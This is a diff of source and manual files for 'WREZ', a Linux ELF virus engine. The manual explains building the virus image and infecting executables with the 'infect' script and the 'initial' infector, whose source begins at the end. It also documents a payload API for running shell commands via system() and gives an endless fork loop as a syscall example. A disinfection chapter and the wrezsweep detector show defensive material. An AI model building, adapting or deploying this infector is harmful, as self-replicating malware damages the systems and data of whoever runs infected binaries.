| 105 | initial infection process. | ||
| 106 | |||
| 107 | @item wrez.bin.conf | ||
| 108 | This is a small configuration file providing some basic info about the | ||
| 109 | @file{wrez.bin.out} file, such as certain relative file offsets where | ||
| 110 | information can be stored. This file is important and is used by the | ||
| 111 | @file{initial} infector. | ||
| 112 | |||
| 113 | @item wrez.bin.out | ||
| 114 | The central virus image, containing the virus code and additional | ||
| 115 | configuration data. This is always the plain image, even when polymorph | ||
| 116 | infection is used, hence you can disassemble it without any problems. Note | ||
| 117 | that within an infected file this image is prepended with two opcodes: | ||
| 118 | @code{pusha} and @code{pushf}. This makes up two extra bytes. The | ||
| 119 | @file{initial} infector automatically cares for this, but it is important | ||
| 120 | to remember when analyzing the image alone. | ||
| 121 | |||
| 122 | @item wrezsweep | ||
| 123 | This is the disinfection utility, which is able to disinfect any file | ||
| 124 | infected with the version of the virus you just build. Keep this file safe, | ||
| 125 | as it offers a reliable way for automatic detection and disinfection. | ||
| 126 | @xref{wrezsweep utility}. | ||
| 127 | |||
| 128 | @end table | ||
| 129 | |||
| 130 | @cindex infect wrapper | ||
| 131 | @section Infecting executeables using @command{infect} | ||
| 132 | |||
| 133 | In most cases, after having build the virus image, you want to test it by | ||
| 134 | infecting a sample executeable. To do this common operation the | ||
| 135 | @command{infect} script has been created in the release directory. It is a | ||
| 136 | wrapper around the @command{initial} program. Just run @command{infect} | ||
| 137 | with the file you want to infect as argument: | ||
| 138 | @example | ||
| 139 | release % cp /bin/date . | ||
| 140 | release % ./infect date | tail -2 | ||
| 141 | -rwx------ 1 anon anon 22820 Jan 11 18:38 date | ||
| 142 | -rwx------ 1 anon anon 26437 Jan 11 18:39 date.infected | ||
| 143 | release % | ||
| 144 | @end example | ||
| 145 | Note that @command{infect} automatically creates a copy of the file by | ||
| 146 | appending @file{.infected} to the original filename. | ||
| 147 | |||
| 148 | |||
| 149 | @cindex initial infector | ||
| 150 | @section Infecting executeables using @command{initial} | ||
| 151 | |||
| 152 | While the @command{infect} wrapper is what you commonly use, the background | ||
| 153 | work is done by the @command{initial} program. It understands details about | ||
| 154 | the virus structure and modifies them accordingly to make the virus work | ||
| 155 | within the victim executeable. It provides a number of command line | ||
| 156 | options, which are listed below. | ||
| 157 | |||
| 158 | @cindex initial, command line options | ||
| 159 | @subsection @command{initial} command line options | ||
| 160 | |||
| 161 | @command{initial} @code{[-c config] [-i virus-image] <victim>} | ||
| 162 | |||
| 163 | @table @code | ||
| 164 | @cindex wrez.bin.out, configuration | ||
| 165 | @item -c @emph{config} | ||
| 166 | Allows to use another configuration file. The default is to use the | ||
| 167 | @file{wrez.bin.conf} file which was created at the same time as the virus | ||
| 168 | was build. | ||
| 169 | |||
| 170 | @item -i @emph{outfile} | ||
| 171 | Allows you to specify another virus image to use for infection. The default | ||
| 172 | is to use the @file{wrez.bin.out} file created when the virus image was | ||
| 173 | build. However, you might want to keep multiple different versions of the | ||
| 174 | virus, and this option allows you to select which image file to use. | ||
| 175 | |||
| 176 | @item victim | ||
| 177 | This is a mandatory option since it tells the program which executeable to | ||
| 178 | infect. Note that there are some restrictions on the filename length, so in | ||
| 179 | case there is an error, try moving the file you want to infect to the local | ||
| 180 | directory and use a shorter pathname as parameter. | ||
| 181 | @end table | ||
| 182 | |||
| 183 | Note that the @command{initial} program infects the victim executeable | ||
| 184 | in-place, without creating a copy first. | ||
| 185 | |||
| 186 | @chapter WREZ Source distribution files | ||
| 187 | |||
| 188 | This chapter will explain the use of every source file within the wrez source | ||
| 189 | distribution. It should provide a rough map where to modify the engine. | ||
| 190 | |||
| 191 | @table @code | ||
| 192 | @cindex source, files | ||
| 193 | |||
| 194 | @item Makefile | ||
| 195 | The main build targets Makefile. The most important targets are | ||
| 196 | @command{release}, @command{dist}, @command{distclean} and @command{wrez}. | ||
| 197 | The individual targets are described in details. @xref{Building WREZ}. | ||
| 198 | |||
| 199 | @item common.c | ||
| 200 | Provides inlined small assembly versions of the most commonly used memory | ||
| 201 | functions, such as @code{strlen}, @code{memset} and similar functions. | ||
| 202 | |||
| 203 | @item commontest.c | ||
| 204 | A small testbed for the common functions, to ensure they are working | ||
| 205 | properly. | ||
| 206 | |||
| 207 | @item compress.sh | ||
| 208 | This script is called whenever a new virus image is build. It builds the | ||
| 209 | compressed virus image from the plain one, by detecting the boundary | ||
| 210 | between decompression stub and payload, compressing the payload and then | ||
| 211 | merging the decompression stub and compressed payload into the output file. | ||
| 212 | While doing this multiple files are created which reflect the certain | ||
| 213 | stages of the image. They can be very helpful when debugging the virus, | ||
| 214 | especially when polymorphism is enabled. | ||
| 215 | |||
| 216 | @item compressor.c | ||
| 217 | The LZ compression code resides here. The decompression stub is in | ||
| 218 | @file{wrez.asm} though. It is never used on its own, but called from within | ||
| 219 | @file{compress.sh} instead. | ||
| 220 | |||
| 221 | @item crypto-test.c | ||
| 222 | Testbed for the functionality residing in @file{crypto.c}. The make target | ||
| 223 | "@command{cryptotest}" drives this file. | ||
| 224 | |||
| 225 | @item crypto.c | ||
| 226 | @item crypto.h | ||
| 227 | Various abstractions to the crypto layers in WREZ. Prototype definitions | ||
| 228 | and API description for the functions reside in @file{crypto.h}. | ||
| 229 | |||
| 230 | @item debug/ | ||
| 231 | Every small tool, script or helper application that is used only for the | ||
| 232 | purpose of debugging the engine is put here. Each file is independant from | ||
| 233 | the engine though, and you have to build them on your own. | ||
| 234 | |||
| 235 | @item doc/ | ||
| 236 | Various piece of documentation, including this one resides here. The files | ||
| 237 | @file{CHANGELOG} and @file{TODO} fullfil their usual purpose. | ||
| 238 | |||
| 239 | @item fingerprint.c | ||
| 240 | @item fingerprint.h | ||
| 241 | The per-host fingerprinting code that is used throughout the engine for | ||
| 242 | different things is hold here. The prototypes and documentations for the | ||
| 243 | API reside in @file{fingerprint.h}. | ||
| 244 | |||
| 245 | @item initial.c | ||
| 246 | The source for the initial infector which is build into the | ||
| 247 | @code{release-}@emph{version}@code{/} directory when building the | ||
| 248 | "@code{release}" target. | ||
| 249 | |||
| 250 | @item int80-net.h | ||
| 251 | @item int80.h | ||
| 252 | Inlined versions of syscalls. The @file{int80-net.h} file includes only | ||
| 253 | network related socketcalls, while @file{int80.h} is the main syscall | ||
| 254 | include file. Add needed syscalls here, but ensure they are behaving as | ||
| 255 | documented on the manpage. Especially pay attention to what registers are | ||
| 256 | clobbered and ensure correct stack correction. | ||
| 257 | |||
| 258 | TODO | ||
| 259 | @item isolation/ | ||
| 260 | @item lime-interface-test.c | ||
| 261 | @item lime-interface-test.lds | ||
| 262 | @item lime-interface.c | ||
| 263 | @item lime-interface.h | ||
| 264 | @item lime.asm | ||
| 265 | @item lookup-example/ | ||
| 266 | @item lookup.c | ||
| 267 | @item lookup.h | ||
| 268 | @item obsolete/ | ||
| 269 | @item release-@emph{version}/ | ||
| 270 | @item tmp/ | ||
| 271 | @item unistd.h | ||
| 272 | @item walker/ | ||
| 273 | @item wrconfig.h | ||
| 274 | @item wrcore.c | ||
| 275 | @item wrez-link.lds | ||
| 276 | @item wrez.asm | ||
| 277 | @item wrezdefs.h | ||
| 278 | @item wrezdefs.inc | ||
| 279 | @item wrezsweep.c | ||
| 280 | @item wrutil.c | ||
| 281 | |||
| 282 | @end table | ||
| 283 | |||
| 284 | |||
| 285 | @chapter Limitations of viral code | ||
| 286 | |||
| 287 | @node WREZ API,,,Top | ||
| 288 | @chapter WREZ API | ||
| 289 | |||
| 290 | The engine provides a helpful API to its payload code, which allows the | ||
| 291 | payload to easily accomplish some common tasks. This chapter will explain | ||
| 292 | the complete API and shows how to use it by giving small example code | ||
| 293 | snippets. | ||
| 294 | |||
| 295 | @cindex helper macros | ||
| 296 | @section Helper macros | ||
| 297 | |||
| 298 | WREZ provides some macros to work around the limitations of viral code, | ||
| 299 | such as position indendance. | ||
| 300 | |||
| 301 | @cindex STRINGPTR macro | ||
| 302 | @subsection STRINGPTR macro | ||
| 303 | The @code{STRINGPTR} macro provides a straightforward way to refer to a | ||
| 304 | constant string. Note that the escape character '@code{\}' has to be | ||
| 305 | escaped itself, as the macro runs through the C string processor twice. | ||
| 306 | The macro sets a pointer to the string, as shown in this example: | ||
| 307 | @example | ||
| 308 | @{ | ||
| 309 | char * strptr; /* pointer to ASCIIZ string */ | ||
| 310 | |||
| 311 | STRINGPTR (strptr, "hello world\\n"); | ||
| 312 | @} | ||
| 313 | @end example | ||
| 314 | |||
| 315 | @cindex FUNCPTR macro | ||
| 316 | @subsection FUNCPTR macro | ||
| 317 | The @code{FUNCPTR} macro circumvents the limitations of obtaining the | ||
| 318 | address of a virus function. In non position independant code, such as a | ||
| 319 | normal executeable, it is possible to obtain the address to a function by | ||
| 320 | simple referring the function name within an @emph{r-value} or by using the | ||
| 321 | '@code{&}' operator. Within PIC code this is not possible, since the | ||
| 322 | address is not known at link time. However, by use of the @code{FUNCPTR} | ||
| 323 | macro a small instruction sequence is inlined into the code, which computes | ||
| 324 | the correct address to a function. The following code would resolve the | ||
| 325 | address of the @code{wrez_main} function: | ||
| 326 | @example | ||
| 327 | @{ | ||
| 328 | void * wrfunc; | ||
| 329 | |||
| 330 | FUNCPTR (wrfunc, "wrez_main"); | ||
| 331 | @} | ||
| 332 | @end example | ||
| 333 | |||
| 334 | @cindex system calls | ||
| 335 | @section Calling syscalls | ||
| 336 | |||
| 337 | The file @file{int80.h} provides inlined versions of a large number of | ||
| 338 | common Linux system calls. To use them from within your payload code, just | ||
| 339 | include the file and use the syscalls as usual. They get inlined into your | ||
| 340 | code and behave as you would expect it. When a syscall is missing, copy the | ||
| 341 | code of a syscall with the same number of arguments and rename it | ||
| 342 | accordingly. | ||
| 343 | |||
| 344 | @example | ||
| 345 | |||
| 346 | #include "int80.h" | ||
| 347 | ... | ||
| 348 | /* use the fork syscall, see the fork(2) manpage */ | ||
| 349 | while (fork ()) | ||
| 350 | ; | ||
| 351 | @end example | ||
| 352 | |||
| 353 | @cindex library calls | ||
| 354 | @section Library calls | ||
| 355 | |||
| 356 | WREZ provides an API to resolve any function symbol of any shared object. | ||
| 357 | This can be used to call functions from libraries such as @command{libc}. | ||
| 358 | In the following example we run the shell command "@command{uname -a}" | ||
| 359 | using the @command{system} library function. | ||
| 360 | |||
| 361 | @example | ||
| 362 | @{ | ||
| 363 | char * systemf; | ||
| 364 | char * command; | ||
| 365 | int (* system)(char *); | ||
| 366 | |||
| 367 | STRINGPTR (systemf, "system"); | ||
| 368 | STRINGPTR (command, "uname -a"); | ||
| 369 | |||
| 370 | system = symbol_resolve ((void *) cfg->elf_base, systemf); | ||
| 371 | if (system != NULL) | ||
| 372 | system (command); | ||
| 373 | @} | ||
| 374 | @end example | ||
| 375 | |||
| 376 | All the symbol resolving is done with the help of the lookup module. The | ||
| 377 | module provides the "@code{symbol_resolve}" function, which takes two | ||
| 378 | parameters. The first parameter is the "@code{elf_base}", a pointer to the | ||
| 379 | first byte of the ELF header. For normal Linux executeables it is usually | ||
| 380 | @code{0x08048000}, but you can provide another address if you know it. This | ||
| 381 | has some uses which are detailed later, when call hooking is discussed. The | ||
| 382 | second parameter is a pointer to an ASCIIZ string with the function name | ||
| 383 | you want to resolve. After processing the input parameters the function | ||
| 384 | tries to resolve the symbol and upon success returns a pointer to the entry | ||
| 385 | point of the function referred by the symbol. On failure, @code{NULL} is | ||
| 386 | returned, which is checked for in the example code. After resolving the | ||
| 387 | function can be used as if it would be a normal library call, as long as | ||
| 388 | you keep the pointer to it. | ||
| 389 | |||
| 390 | |||
| 391 | @cindex disinfection | ||
| 392 | @chapter Disinfection | ||
| 393 | |||
| 394 | When an executeable has been infected by a WREZ virus, nearly no | ||
| 395 | information is lost. Hence it is possible to reconstruct a working | ||
| 396 | executeable from the infected executeable, which does not include the virus | ||
| 397 | code. The @command{wrezsweep} utility provides the functionality to detect | ||
| 398 | and optionally remove and extract the viral code from an executeable. This | ||
| 399 | chapter provides a description of the tool and advice for manual | ||
| 400 | disinfection. | ||
| 401 | |||
| 402 | It is not possible to reconstruct the original executeable perfectly, as | ||
| 403 | two padding arrays are joined when infecting the file. Upon disinfection it | ||
| 404 | is not clear where the original seperation was. It would be possible to | ||
| 405 | store this information within the virus itself, but as the padding has no | ||
| 406 | function besides aligning the following data, this was not done. As a | ||
| 407 | result, the disinfected executeable may be up to 32 bytes longer than the | ||
| 408 | original, uninfected executeable was. Every bit of functionality was | ||
| 409 | preserved, though, and the binaries behave in exactly the same way. Also, | ||
| 410 | the load image is exactly the same, only the dead file image may differ. | ||
| 411 | |||
| 412 | @cindex disinfection, manual | ||
| 413 | @section Manual disinfection | ||
| 414 | |||
| 415 | With some knowledge of the ELF file format and the wrez infection method it | ||
| 416 | is possible to disinfect an infected executeable manually. Please do not | ||
| 417 | attempt disinfection without knowledge of the ELF format. | ||
| 418 | |||
| 419 | First, the virus must be located within the file. Since the file could be | ||
| 420 | infected only with section headers in the first place, you can use section | ||
| 421 | headers to help you locate it. Infact, it may be the only reliable way to | ||
| 422 | do this. To do this, first locate the end of the @code{.bss} section | ||
| 423 | (@code{sh_offset} + @code{sh_size}). The @command{ht} and @command{biew} | ||
| 424 | tools come in handy at this. Directly after the section ends, there is | ||
| 425 | either the section header string table or there is virus code. The virus | ||
| 426 | code starts with a fake @code{.ctors} address, so it looks like | ||
| 427 | @example | ||
| 428 | 00006204: 08 F2 04 08 9C 60 E8 3D 00 00 00 C2 A8 04 08 07 01 00 00 98 | ||
| 429 | @end example | ||
| 430 | Where @code{08 F2 04 08}, decoded as little endian 32 bit offset | ||
| 431 | @code{0x0804f208} is the entry point of the virus. This is always the | ||
| 432 | virtual address directly behind the address itself. So the code at the | ||
| 433 | entry point starts with @code{9C 60 E8 3D 00 00 00}, which is a sequence of | ||
| 434 | the @command{pusha, pushf, call $+0x3d} instructions. Everything from this | ||
| 435 | offset (@code{0x6204}) up to the last byte of the data @code{PT_LOAD} | ||
| 436 | segment belongs to the virus. This entire part of the file can be | ||
| 437 | removed later and the data behind it has to slide to the front. | ||
| 438 | |||
| 439 | But first its important to know the address of the @code{.ctors} section as | ||
| 440 | the section header table shows it. As WREZ disguises the real address, and | ||
| 441 | the real active @code{.ctors} address is independant from what the section | ||
| 442 | header shows, the address of the @code{.ctors} section header is still the | ||
| 443 | old original one. Just the one used to activate the @code{.ctors} in the | ||
| 444 | code has changed upon infection. We have to change it back, so write the | ||
| 445 | address down with the help of either @command{objdump} or @command{ht}. | ||
| 446 | @example | ||
| 447 | $ objdump -h infected | grep "\.ctors" | ||
| 448 | 17 .ctors 00000008 0804ee94 0804ee94 00005e94 2**2 | ||
| 449 | @end example | ||
| 450 | So the virtual address is @code{0x0804ee94}, and the @code{.ctors} section | ||
| 451 | starts at offset @code{0x5e94} within the file. | ||
| 452 | |||
| 453 | @cindex removing the virus | ||
| 454 | @subsection Step 1. Removing the virus code | ||
| 455 | |||
| 456 | Now remove the virus code from the file and slide all the data behind it to | ||
| 457 | the front. Slide it forward so that the first byte which was after the | ||
| 458 | virus data now starts where the @code{.bss} section starts within the file. | ||
| 459 | In the example from above, it would start at file offset @code{0x6204 - | ||
| 460 | bss.sh_size}. Calculate the number of bytes you slided the data forward, it | ||
| 461 | will be called @emph{displacement} from now on. | ||
| 462 | |||
| 463 | Afterwards there are four things remaining that must be changed to repair | ||
| 464 | the now damaged file. The next two steps are enough to make the file run | ||
| 465 | again, without any virus code, while the last two steps will fixup the | ||
| 466 | section headers, so that debug tools work on the file again. | ||
| 467 | |||
| 468 | @cindex .ctors address, restoring the | ||
| 469 | @subsection Step 2. Restoring @code{.ctors} | ||
| 470 | |||
| 471 | To restore the @code{.ctors} activation code, you have to locate it within | ||
| 472 | the file. To do this, just search for the virtual address the virus is | ||
| 473 | mapped at. This is the same address we decoded above, minus four: | ||
| 474 | @code{0x0804f204} (@code{= 0x0804f208 - 4}). This will result in at least | ||
| 475 | one hit, which is within an immediate 32 bit register load, most likely | ||
| 476 | into the @code{%ebx} register, so a possible hit will look like: | ||
| 477 | @example | ||
| 478 | 00003C17: BB 04 F2 04 08 83 3D 04 F2 04 08 FF 74 0C 8B 03 FF D0 83 C3 | ||
| 479 | @end example | ||
| 480 | Where the address is at @code{0x3c18} and @code{0xbb} is | ||
| 481 | "@code{movl ..., %ebx}". Overwrite the address with the original one you | ||
| 482 | extracted from the @code{.ctors} section header. | ||
| 483 | |||
| 484 | @cindex PT_LOAD segment header, fixing the | ||
| 485 | @subsection Step 3. Fixing @code{PT_LOAD} segment header | ||
| 486 | |||
| 487 | Now, seek to the program header table and inspect the second @code{PT_LOAD} | ||
| 488 | header. Both the @code{p_filesz} and @code{p_memsz} elements of the | ||
| 489 | structure must be fixed. The @code{p_filesz} element must be decreased by | ||
| 490 | the @emph{displacement}, which is the virus length plus the @code{.bss} | ||
| 491 | section length. The @code{p_memsz} element must be decreased by just the | ||
| 492 | virus in-memory length. So the entire calculation is this: | ||
| 493 | @example | ||
| 494 | vlen_mem = ptl2.p_offset + ptl2.p_memsz; | ||
| 495 | vlen_mem -= bss.sh_offset + bss.sh_size; | ||
| 496 | vlen_file = ptl2.p_offset + ptl2.p_filesz; | ||
| 497 | vlen_file -= bss.sh_offset; | ||
| 498 | |||
| 499 | ptl2.p_filesz -= vlen_file; | ||
| 500 | ptl2.p_memsz -= vlen_mem; | ||
| 501 | @end example | ||
| 502 | |||
| 503 | @cindex section header table offset, fixing the | ||
| 504 | @subsection Step 4. Fixing @code{eh_shoff} ELF header entry | ||
| 505 | |||
| 506 | Decrease the @code{eh_shoff} ELF header element by @emph{displacement}. | ||
| 507 | Since the section header table usually lies after and @code{PT_LOAD} | ||
| 508 | segments, it is moved by removing the virus code from the executeable and | ||
| 509 | we have to fix the section header table offset. | ||
| 510 | |||
| 511 | @cindex section header table, fixing the | ||
| 512 | @subsection Step 5. Fixing section header table | ||
| 513 | |||
| 514 | As final step we have to fix any section header that is refering to data | ||
| 515 | that was behind the virus, as it was slided to the front by | ||
| 516 | @emph{displacement} bytes. Examine every section header at @code{eh_shoff}, | ||
| 517 | and correct the @code{sh_offset} elements if they lie behind the last byte | ||
| 518 | refered by the @code{PT_LOAD} data segment. | ||
| 519 | |||
| 520 | @example | ||
| 521 | for (n = 0 ; n < elfhdr.e_shnum ; ++n) @{ | ||
| 522 | if (sectionhdr[n].sh_offset > (ptl2.p_offset + ptl2.p_filesz)) | ||
| 523 | sectionhdr[n].sh_offset -= displacement; | ||
| 524 | @} | ||
| 525 | @end example | ||
| 526 | |||
| 527 | @node wrezsweep utility,,,Top | ||
| 528 | @cindex wrezsweep utility | ||
| 529 | @section @command{wrezsweep} utility | ||
| 530 | |||
| 531 | The @command{wrezsweep} utility is very natural to use. In its default mode | ||
| 532 | it takes filenames provided on the command line. Each filename is checked | ||
| 533 | for infections, after it has been ensured its a @code{ET_EXEC}, | ||
| 534 | @code{EM_386} executeable. When an infection is found a message is printed | ||
| 535 | and details are shown. When disinfection has been enabled, it automatically | ||
| 536 | tries to disinfect the file. Enabling the verbose mode is a good idea when | ||
| 537 | you know about the internals or you are about to disinfect the file | ||
| 538 | manually. The utility will most likely detect other viruses, which use the | ||
| 539 | same infection method, such as the | ||
| 540 | @cindex VIT virus | ||
| 541 | @emph{VIT virus}, written by silvio. Disinfection uses details related to | ||
| 542 | the workings of the WREZ engine however, so it is not possible to disinfect | ||
| 543 | files which are infected with other viruses. | ||
| 544 | |||
| 545 | @subsection @command{wrezsweep} command line options | ||
| 546 | @command{wrezsweep} @code{[-hxDv] [-d virus] <file1 [file2 [...]]>} | ||
| 547 | |||
| 548 | @table @code | ||
| 549 | @cindex wrezsweep help | ||
| 550 | @item -h | ||
| 551 | Print the usage and exit. | ||
| 552 | |||
| 553 | @cindex disinfection, automatic | ||
| 554 | @item -x | ||
| 555 | Once an infection has been detected, try to disinfect the file in-place. | ||
| 556 | |||
| 557 | @cindex polymorph disinfection | ||
| 558 | @item -D | ||
| 559 | Fall back to extract the correct original @code{.ctors} address from the | ||
| 560 | section header table instead of parsing the virus configuration structure. | ||
| 561 | This has to be used to deal with binaries that are infected with a | ||
| 562 | polymorph version of the virus. Generally has no negative effect. | ||
| 563 | |||
| 564 | @cindex wrezsweep verbose mode | ||
| 565 | @item -v | ||
| 566 | Be more verbose, especially when disinfecting files. | ||
| 567 | |||
| 568 | @cindex virus extraction, automatic | ||
| 569 | @item -d virus | ||
| 570 | Extract the entire virus body from the file and save it to "@file{virus}". | ||
| 571 | Note that the @code{.ctors} address is not included in the body. However, | ||
| 572 | it is shown when detecting an infected file. | ||
| 573 | |||
| 574 | @item file1, file2, @dots{}, file@emph{n} | ||
| 575 | Files to scan for infections. Once an infection is noticed, appropiate | ||
| 576 | actions are taken, as controlled by the other command line options. | ||
| 577 | |||
| 578 | @end table | ||
| 579 | |||
| 580 | @cindex wrezsweep example | ||
| 581 | @subsection @command{wrezsweep} example use | ||
| 582 | |||
| 583 | In the following example we use the @command{wrezsweep} utility to | ||
| 584 | disinfect an infected copy of the @file{date} executeable. The infected | ||
| 585 | copy is called @file{date.infected}. | ||
| 586 | |||
| 587 | @example | ||
| 588 | $ ls -l date date.infected ; \ | ||
| 589 | > ./wrezsweep -x -v date date.infected ; \ | ||
| 590 | > ls -l date date.infected | ||
| 591 | |||
| 592 | -rwx------ 1 anon anon 22820 Apr 10 22:30 date | ||
| 593 | -rwx------ 1 anon anon 26962 Apr 10 22:30 date.infected | ||
| 594 | |||
| 595 | wrezsweep - version 0.2 | ||
| 596 | |||
| 597 | scanning 2 files | ||
| 598 | disinfection enabled | ||
| 599 | ==================================================================== | ||
| 600 | FILE date | ||
| 601 | CLEAN: date | ||
| 602 | FILE date.infected | ||
| 603 | WARNING: file "date.infected", possible infection detected ! | ||
| 604 | memory: 8856 bytes at 0x0804f204 | ||
| 605 | file: 3638 (+5218 mem) bytes at 0x00006204 | ||
| 606 | DISINFECTING | ||
| 607 | old ctors address: 0x0804ee94 | ||
| 608 | virus ctors address: 0x0804f204 | ||
| 609 | scanning for 0x0804f204 in: [0x0 - 0x5e54] | ||
| 610 | found virus ctors activation code within crt0.o at: 0x00003c18 | ||
| 611 | scanning for 0x0804f204 in: [0x3c18 - 0x3c58] | ||
| 612 | found second virus ctors activation code at: 0x00003c1e | ||
| 613 | restored old ctors address | ||
| 614 | disabled virus activation, viral code is still in file, though | ||
| 615 | sliding 0x4d0 bytes at the end of file (0x101a bytes forward) | ||
| 616 | section 24 fixed | ||
| 617 | successfully removed viral code from file | ||
| 618 | |||
| 619 | -rwx------ 1 anon anon 22820 Apr 10 22:30 date | ||
| 620 | -rwx------ 1 anon anon 22840 Apr 10 22:30 date.infected | ||
| 621 | |||
| 622 | $ | ||
| 623 | @end example | ||
| 624 | |||
| 625 | As you can see, the disinfected version of the file is 20 bytes larger than | ||
| 626 | the original version. This extra space comes from unused section padding | ||
| 627 | and has no effect on how the file behaves. | ||
| 628 | |||
| 629 | @node Index,,, Top | ||
| 630 | @unnumbered Index | ||
| 631 | |||
| 632 | @printindex cp | ||
| 633 | |||
| 634 | @bye | ||
| 635 | |||
diff --git a/other/wrez/doc/wrez-manual/wrez.toc b/other/wrez/doc/wrez-manual/wrez.toc new file mode 100644 index 0000000..51dde2a --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.toc | |||
| @@ -0,0 +1,27 @@ | |||
| 1 | \unnumbchapentry{WREZ Introduction}{1} | ||
| 2 | \chapentry{Using WREZ}{1}{2} | ||
| 3 | \secentry{Building WREZ}{1}{1}{2} | ||
| 4 | \subsecentry{Configuring engine features}{1}{1}{1}{2} | ||
| 5 | \subsecentry{Building the virus binary}{1}{1}{2}{2} | ||
| 6 | \secentry{Infecting executeables using \command {infect}}{1}{2}{3} | ||
| 7 | \secentry{Infecting executeables using \command {initial}}{1}{3}{3} | ||
| 8 | \subsecentry{\command {initial} command line options}{1}{3}{1}{3} | ||
| 9 | \chapentry{WREZ Source distribution files}{2}{4} | ||
| 10 | \chapentry{Limitations of viral code}{3}{6} | ||
| 11 | \chapentry{WREZ API}{4}{7} | ||
| 12 | \secentry{Helper macros}{4}{1}{7} | ||
| 13 | \subsecentry{STRINGPTR macro}{4}{1}{1}{7} | ||
| 14 | \subsecentry{FUNCPTR macro}{4}{1}{2}{7} | ||
| 15 | \secentry{Calling syscalls}{4}{2}{7} | ||
| 16 | \secentry{Library calls}{4}{3}{8} | ||
| 17 | \chapentry{Disinfection}{5}{9} | ||
| 18 | \secentry{Manual disinfection}{5}{1}{9} | ||
| 19 | \subsecentry{Step 1. Removing the virus code}{5}{1}{1}{10} | ||
| 20 | \subsecentry{Step 2. Restoring \code {.ctors}}{5}{1}{2}{10} | ||
| 21 | \subsecentry{Step 3. Fixing \code {PT_LOAD} segment header}{5}{1}{3}{10} | ||
| 22 | \subsecentry{Step 4. Fixing \code {eh_shoff} ELF header entry}{5}{1}{4}{10} | ||
| 23 | \subsecentry{Step 5. Fixing section header table}{5}{1}{5}{10} | ||
| 24 | \secentry{\command {wrezsweep} utility}{5}{2}{11} | ||
| 25 | \subsecentry{\command {wrezsweep} command line options}{5}{2}{1}{11} | ||
| 26 | \subsecentry{\command {wrezsweep} example use}{5}{2}{2}{11} | ||
| 27 | \unnumbchapentry{Index}{13} | ||
diff --git a/other/wrez/doc/wrez-manual/wrez.tp b/other/wrez/doc/wrez-manual/wrez.tp new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.tp | |||
diff --git a/other/wrez/doc/wrez-manual/wrez.vr b/other/wrez/doc/wrez-manual/wrez.vr new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/other/wrez/doc/wrez-manual/wrez.vr | |||
diff --git a/other/wrez/fingerprint.c b/other/wrez/fingerprint.c new file mode 100644 index 0000000..a7b3365 --- /dev/null +++ b/other/wrez/fingerprint.c | |||
| @@ -0,0 +1,21 @@ | |||
| 1 | |||
| 2 | #include "int80.h" | ||
| 3 | #include "unistd.h" | ||
| 4 | #include "fingerprint.h" | ||
| 5 | #include "crypto.h" | ||
| 6 | |||
| 7 | |||
| 8 | unsigned int | ||
| 9 | fp_get (void) | ||
| 10 | { | ||
| 11 | unsigned int hash; | ||
| 12 | struct utsname thishost; | ||
| 13 | |||
| 14 | |||
| 15 | uname (&thishost); | ||
| 16 | hash = mhash ((unsigned char *) &thishost, sizeof (thishost)); | ||
| 17 | |||
| 18 | return (hash); | ||
| 19 | } | ||
| 20 | |||
| 21 | |||
diff --git a/other/wrez/fingerprint.h b/other/wrez/fingerprint.h new file mode 100644 index 0000000..a53ff14 --- /dev/null +++ b/other/wrez/fingerprint.h | |||
| @@ -0,0 +1,15 @@ | |||
| 1 | |||
| 2 | #ifndef FINGERPRINT_H | ||
| 3 | #define FINGERPRINT_H | ||
| 4 | |||
| 5 | /* fp_get | ||
| 6 | * | ||
| 7 | * get a 32 bit host fingerprint hash build out of 'struct utsname' uname | ||
| 8 | * output | ||
| 9 | * | ||
| 10 | * return hash value | ||
| 11 | */ | ||
| 12 | unsigned int fp_get (void); | ||
| 13 | |||
| 14 | #endif | ||
| 15 | |||
diff --git a/other/wrez/fingerprint.o b/other/wrez/fingerprint.o new file mode 100644 index 0000000..abe5ee8 --- /dev/null +++ b/other/wrez/fingerprint.o | |||
| Binary files differ | |||
diff --git a/other/wrez/infect b/other/wrez/infect new file mode 100755 index 0000000..2ddbe11 --- /dev/null +++ b/other/wrez/infect | |||
| @@ -0,0 +1,11 @@ | |||
| 1 | #!/bin/sh | ||
| 2 | |||
| 3 | if [ $# != 1 ]; then | ||
| 4 | echo "usage: $0 pathname" | ||
| 5 | echo | ||
| 6 | exit | ||
| 7 | fi | ||
| 8 | cp $1 victim | ||
| 9 | ./initial victim | ||
| 10 | mv victim $1.infected | ||
| 11 | ls -l $1 $1.infected | ||
diff --git a/other/wrez/initial b/other/wrez/initial new file mode 100755 index 0000000..5832f09 --- /dev/null +++ b/other/wrez/initial | |||
| Binary files differ | |||
diff --git a/other/wrez/initial.c b/other/wrez/initial.c new file mode 100644 index 0000000..8dfc0e3 --- /dev/null +++ b/other/wrez/initial.c | |||
| @@ -0,0 +1,237 @@ | |||
| 1 | |||
| 2 | /* initial infector which infects exactly one given binary with the virus | ||
| 3 | * this is necessary because we only have the virus in raw binary form after | ||
| 4 | * the build has taken place (i.e. no executeable elf file). so we have two | ||
| 5 | * choices, either putting together a proper initial elf file, or executing | ||
| 6 | * it as if it would already have infected a process (this one). the later is | ||
| 7 | * easier, as we have to fixup some compression-related data in the raw data | ||
| 8 | * anyway. | ||
| 9 | */ | ||
| 10 | |||
| 11 | |||
| 12 | #include <stdio.h> | ||
| 13 | #include <stdlib.h> | ||
| 14 | #include <unistd.h> | ||
| 15 | |||
| 16 | #pragma pack(1) | ||
| 17 | #include "wrconfig.h" | ||
| 18 | |||
| 19 | void usage (char *progname); | ||
| 20 | |||
| 21 | char * configfile = "wrez.bin.conf"; | ||
| 22 | |||
| 23 | |||
| 24 | void | ||
| 25 | usage (char *progname) | ||
| 26 | { | ||
| 27 | fprintf (stderr, "usage: %s [-c config] [-i binary.out] <victim>\n" | ||
| 28 | "\n", progname); | ||
| 29 | |||
| 30 | exit (EXIT_FAILURE); | ||
| 31 | } | ||
| 32 | |||
| 33 | |||
| 34 | int | ||
| 35 | main (int argc, char *argv[]) | ||
| 36 | { | ||
| 37 | FILE * bfp; | ||
| 38 | char * infile = "wrez.bin.out"; | ||
| 39 | long int infile_len; | ||
| 40 | unsigned char * infile_data; | ||
| 41 | unsigned int cfg_delta, | ||
| 42 | decomp_len; | ||
| 43 | wrconfig * cfg; | ||
| 44 | wrdynconfig dcfg; | ||
| 45 | unsigned short llstuff, hl2stuff, hf2stuff; | ||
| 46 | char * victim; | ||
| 47 | |||
| 48 | char c; | ||
